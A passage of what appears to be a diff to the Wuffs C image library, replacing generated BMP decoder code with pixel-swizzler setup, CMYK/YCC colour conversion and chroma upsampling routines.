defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ break; -+#endif -+ default: -+ return wuffs_base__make_status( -+ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); - } -+#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) - -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); --} -+ // ---- - --wuffs_bmp__decoder* --wuffs_bmp__decoder__alloc(void) { -- wuffs_bmp__decoder* x = -- (wuffs_bmp__decoder*)(calloc(sizeof(wuffs_bmp__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_bmp__decoder__initialize( -- x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ wuffs_base__pixel_swizzler__func func = NULL; -+ wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = -+ NULL; -+ -+ uint32_t dst_pixfmt_bits_per_pixel = -+ wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); -+ if ((dst_pixfmt_bits_per_pixel == 0) || -+ ((dst_pixfmt_bits_per_pixel & 7) != 0)) { -+ return wuffs_base__make_status( -+ wuffs_base__error__unsupported_pixel_swizzler_option); - } -- return x; --} - --size_t --sizeof__wuffs_bmp__decoder(void) { -- return sizeof(wuffs_bmp__decoder); --} -+ uint32_t src_pixfmt_bits_per_pixel = -+ wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); -+ if ((src_pixfmt_bits_per_pixel == 0) || -+ ((src_pixfmt_bits_per_pixel & 7) != 0)) { -+ return wuffs_base__make_status( -+ wuffs_base__error__unsupported_pixel_swizzler_option); -+ } - --// ---------------- Function Implementations -+ // TODO: support many more formats. - --// -------- func bmp.decoder.get_quirk -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ transparent_black_func = -+ wuffs_private_impl__swizzle_transparent_black_src; -+ break; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bmp__decoder__get_quirk( -- const wuffs_bmp__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ transparent_black_func = -+ wuffs_private_impl__swizzle_transparent_black_src_over; -+ break; - } - -- return 0u; --} -+ switch (src_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ func = wuffs_private_impl__pixel_swizzler__prepare__y( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; - --// -------- func bmp.decoder.set_quirk -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -+ func = wuffs_private_impl__pixel_swizzler__prepare__y_16be( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__set_quirk( -- wuffs_bmp__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: -+ func = wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ func = -+ wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -+ func = wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgr_565( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgr( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ func = wuffs_private_impl__pixel_swizzler__prepare__bgrx( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ func = wuffs_private_impl__pixel_swizzler__prepare__rgb( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( -+ p, dst_pixfmt, dst_palette, src_palette, blend); -+ break; - } - -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ p->private_impl.func = func; -+ p->private_impl.transparent_black_func = transparent_black_func; -+ p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; -+ p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; -+ return wuffs_base__make_status( -+ func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); - } - --// -------- func bmp.decoder.decode_image_config -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__decode_image_config( -- wuffs_bmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -+ const wuffs_base__pixel_swizzler* p, -+ uint32_t up_to_num_pixels, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r) { -+ if (p && p->private_impl.func) { -+ const uint8_t* iop_r = *ptr_iop_r; -+ uint64_t src_len = wuffs_base__u64__min( -+ ((uint64_t)up_to_num_pixels) * -+ ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), -+ ((uint64_t)(io2_r - iop_r))); -+ uint64_t n = -+ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -+ dst_palette.len, iop_r, (size_t)src_len); -+ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; -+ return n; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ return 0; -+} -+ -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ const uint8_t** ptr_iop_r, -+ const uint8_t* io2_r) { -+ if (p && p->private_impl.func) { -+ const uint8_t* iop_r = *ptr_iop_r; -+ uint64_t src_len = ((uint64_t)(io2_r - iop_r)); -+ uint64_t n = -+ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -+ dst_palette.len, iop_r, (size_t)src_len); -+ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; -+ return n; - } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ return 0; -+} -+ -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src) { -+ if (p && p->private_impl.func) { -+ return (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, -+ dst_palette.len, src.ptr, src.len); - } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ return 0; -+} -+ -+WUFFS_BASE__MAYBE_STATIC uint64_t // -+wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__slice_u8 dst, -+ wuffs_base__slice_u8 dst_palette, -+ uint64_t num_pixels) { -+ if (p && p->private_impl.transparent_black_func) { -+ return (*p->private_impl.transparent_black_func)( -+ dst.ptr, dst.len, dst_palette.ptr, dst_palette.len, num_pixels, -+ p->private_impl.dst_pixfmt_bytes_per_pixel); - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ return 0; -+} - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+// -------- - -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2); - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2); - -- ok: -- self->private_impl.p_decode_image_config[0] = 0; -- goto exit; -- } -+#if defined(__GNUC__) && !defined(__clang__) -+// No-op. -+#else -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column, -+ bool last_column); -+#endif -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) - -- goto suspend; -- suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+// -------- - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; -+static inline uint32_t // -+wuffs_private_impl__u32__max_of_4(uint32_t a, -+ uint32_t b, -+ uint32_t c, -+ uint32_t d) { -+ return wuffs_base__u32__max( // -+ wuffs_base__u32__max(a, b), // -+ wuffs_base__u32__max(c, d)); - } - --// -------- func bmp.decoder.do_decode_image_config -+static inline uint32_t // -+wuffs_private_impl__u32__min_of_5(uint32_t a, -+ uint32_t b, -+ uint32_t c, -+ uint32_t d, -+ uint32_t e) { -+ return wuffs_base__u32__min( // -+ wuffs_base__u32__min( // -+ wuffs_base__u32__min(a, b), // -+ wuffs_base__u32__min(c, d)), // -+ e); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_image_config( -- wuffs_bmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+// -------- - -- uint32_t v_magic = 0; -- uint32_t v_width = 0; -- uint32_t v_height = 0; -- uint32_t v_planes = 0; -- uint32_t v_dst_pixfmt = 0; -- uint32_t v_byte_width = 0; -+typedef void (*wuffs_private_impl__swizzle_ycc__convert_4_func)( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2, -+ const uint8_t* up3); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+static void // -+wuffs_private_impl__swizzle_cmyk__convert_4_general( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2, -+ const uint8_t* up3) { -+ for (; x < x_end; x++) { -+ // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's -+ // RGBW: 0xFFu means no ink instead of full ink. Note that a double -+ // inversion is a no-op, so inversions might be implicit in the code below. -+ uint32_t r = ((uint32_t)(*up0++)); -+ uint32_t g = ((uint32_t)(*up1++)); -+ uint32_t b = ((uint32_t)(*up2++)); -+ uint32_t w = ((uint32_t)(*up3++)); -+ r = ((r * w) + 0x7Fu) / 0xFFu; -+ g = ((g * w) + 0x7Fu) / 0xFFu; -+ b = ((b * w) + 0x7Fu) / 0xFFu; -+ wuffs_base__pixel_buffer__set_color_u32_at( -+ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); - } -+} - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+static void // -+wuffs_private_impl__swizzle_ycck__convert_4_general( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2, -+ const uint8_t* up3) { -+ for (; x < x_end; x++) { -+ // We invert once again: 0xFFu means no ink instead of full ink. -+ uint32_t color = // -+ wuffs_base__color_ycc__as__color_u32( // -+ *up0++, *up1++, *up2++); -+ uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); -+ uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); -+ uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); -+ uint32_t w = ((uint32_t)(*up3++)); -+ r = ((r * w) + 0x7Fu) / 0xFFu; -+ g = ((g * w) + 0x7Fu) / 0xFFu; -+ b = ((b * w) + 0x7Fu) / 0xFFu; -+ wuffs_base__pixel_buffer__set_color_u32_at( -+ dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); -+ } -+} - -- if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if (self->private_impl.f_io_redirect_fourcc != 0u) { -- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -- goto ok; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 8) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -- } -- } -- v_magic = t_0; -- } -- if (v_magic != 19778u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } -- self->private_data.s_do_decode_image_config[0].scratch = 8u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+// -------- -+ -+typedef void (*wuffs_private_impl__swizzle_ycc__convert_3_func)( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2); -+ -+static void // -+wuffs_private_impl__swizzle_rgb__convert_3_general( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ for (; x < x_end; x++) { -+ uint32_t color = 0xFF000000u | // -+ (((uint32_t)(*up0++)) << 16u) | // -+ (((uint32_t)(*up1++)) << 8u) | // -+ (((uint32_t)(*up2++)) << 0u); -+ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_general( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ for (; x < x_end; x++) { -+ uint32_t color = // -+ wuffs_base__color_ycc__as__color_u32( // -+ *up0++, *up1++, *up2++); -+ wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_bgrx(wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ size_t dst_stride = dst->private_impl.planes[0].stride; -+ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -+ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); -+ -+ for (; x < x_end; x++) { -+ uint32_t color = // -+ wuffs_base__color_ycc__as__color_u32( // -+ *up0++, *up1++, *up2++); -+ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); -+ dst_iter += 4u; -+ } -+} -+ -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_rgbx(wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ size_t dst_stride = dst->private_impl.planes[0].stride; -+ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -+ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); -+ -+ for (; x < x_end; x++) { -+ uint32_t color = // -+ wuffs_base__color_ycc__as__color_u32_abgr( // -+ *up0++, *up1++, *up2++); -+ wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); -+ dst_iter += 4u; -+ } -+} -+ -+// -------- -+ -+// wuffs_private_impl__swizzle_ycc__upsample_func upsamples to a destination -+// slice at least 480 (YCCK) or 672 (YCC) bytes long and whose src_len -+// (multiplied by 1, 2, 3 or 4) is positive but no more than that. This 480 or -+// 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice length. -+// Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. -+// -+// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks -+// wide and each block is 8 pixels wide. We have: -+// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 -+// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 -+// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 -+// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 -+// -+// Box filters are equivalent to nearest neighbor upsampling. These ignore the -+// src_ptr_minor, h1v2_bias, first_column and last_column arguments. -+// -+// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 -+// dimensions), which is higher quality (less blocky) but also higher -+// computational effort. -+// -+// In theory, we could use triangle filters for any (inv_h, inv_v) combination. -+// In practice, matching libjpeg-turbo, we only implement it for the common -+// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an -+// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). -+typedef const uint8_t* (*wuffs_private_impl__swizzle_ycc__upsample_func)( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, // Nearest row. -+ const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. -+ size_t src_len, -+ uint32_t h1v2_bias, -+ bool first_column, -+ bool last_column); -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h1vn_box( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor_ignored, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column_ignored, -+ bool last_column_ignored) { -+ return src_ptr_major; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h2vn_box( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor_ignored, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column_ignored, -+ bool last_column_ignored) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp = src_ptr_major; -+ while (src_len--) { -+ uint8_t sv = *sp++; -+ *dp++ = sv; -+ *dp++ = sv; -+ } -+ return dst_ptr; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h3vn_box( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor_ignored, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column_ignored, -+ bool last_column_ignored) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp = src_ptr_major; -+ while (src_len--) { -+ uint8_t sv = *sp++; -+ *dp++ = sv; -+ *dp++ = sv; -+ *dp++ = sv; -+ } -+ return dst_ptr; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h4vn_box( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor_ignored, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column_ignored, -+ bool last_column_ignored) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp = src_ptr_major; -+ while (src_len--) { -+ uint8_t sv = *sp++; -+ *dp++ = sv; -+ *dp++ = sv; -+ *dp++ = sv; -+ *dp++ = sv; -+ } -+ return dst_ptr; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor, -+ size_t src_len, -+ uint32_t h1v2_bias, -+ bool first_column, -+ bool last_column) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp_major = src_ptr_major; -+ const uint8_t* sp_minor = src_ptr_minor; -+ while (src_len--) { -+ *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // -+ (1u * ((uint32_t)(*sp_minor++))) + // -+ h1v2_bias) >> -+ 2u); -+ } -+ return dst_ptr; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column, -+ bool last_column) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp = src_ptr_major; -+ -+ if (first_column) { -+ src_len--; -+ if ((src_len <= 0u) && last_column) { -+ uint8_t sv = *sp++; -+ *dp++ = sv; -+ *dp++ = sv; -+ return dst_ptr; - } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -- } -- } -- self->private_impl.f_padding = t_1; -+ uint32_t svp1 = sp[+1]; -+ uint8_t sv = *sp++; -+ *dp++ = sv; -+ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); -+ if (src_len <= 0u) { -+ return dst_ptr; - } -- if (self->private_impl.f_padding < 14u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -+ } -+ -+ if (last_column) { -+ src_len--; -+ } -+ -+ for (; src_len > 0u; src_len--) { -+ uint32_t svm1 = sp[-1]; -+ uint32_t svp1 = sp[+1]; -+ uint32_t sv3 = 3u * (uint32_t)(*sp++); -+ *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); -+ *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); -+ } -+ -+ if (last_column) { -+ uint32_t svm1 = sp[-1]; -+ uint8_t sv = *sp++; -+ *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); -+ *dp++ = sv; -+ } -+ -+ return dst_ptr; -+} -+ -+static const uint8_t* // -+wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle( -+ uint8_t* dst_ptr, -+ const uint8_t* src_ptr_major, -+ const uint8_t* src_ptr_minor, -+ size_t src_len, -+ uint32_t h1v2_bias_ignored, -+ bool first_column, -+ bool last_column) { -+ uint8_t* dp = dst_ptr; -+ const uint8_t* sp_major = src_ptr_major; -+ const uint8_t* sp_minor = src_ptr_minor; -+ -+ if (first_column) { -+ src_len--; -+ if ((src_len <= 0u) && last_column) { -+ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // -+ (4u * ((uint32_t)(*sp_minor++))); 